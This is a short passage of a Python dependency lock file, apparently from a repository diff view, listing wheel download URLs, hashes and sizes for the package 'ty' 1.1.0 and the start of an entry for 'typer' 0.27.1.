{ url = "https://files.pythonhosted.org/packages/9a/20/d6400406daf9f250e805c95016e20af025a92850a19a58498d8b904866f5/ty-1.1.0-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:dc2238632a36f3abe65195aeb239befc9fad393c90598e667cb99b9ae64d1634", size = 16118102, upload-time = "2026-12-03T11:10:14.711Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6f/37/485709f747d87f50bb7ba2205630d5d39eac36808a3882e14f2f656534a8/ty-1.1.0-py3-none-win32.whl", hash = "sha256:07d7c93a1fce0bca9c83017ffd008b79ef00be3671c089c25d14c1b114230b86", size = 14597588, upload-time = "2026-12-03T11:10:17.738Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/9c/72/8a96c7d260d1280980b0bcc7719e20bdb272423e3568b4a73aa45d55fcf4/ty-1.1.0-py3-none-win_amd64.whl", hash = "sha256:614dbd92f4c454adbe4783e3704db209d5045661f2b0fc270a7b023a574ecfef", size = 15499057, upload-time = "2026-12-03T11:10:20.389Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e4/fa/f80643f28978ebc9392e0e758cc8ef10cdaa3294930136421ed3074bf3ab/ty-1.1.0-py3-none-win_arm64.whl", hash = "sha256:c417b4847e459848a0120d643beaba8f131e186981567ede656ee767d88f1350", size = 14716575, upload-time = "2026-12-03T11:10:23.889Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "typer"
|
||||
version = "0.27.1"
|
||||
|
||||
Reference in new issue
Block a user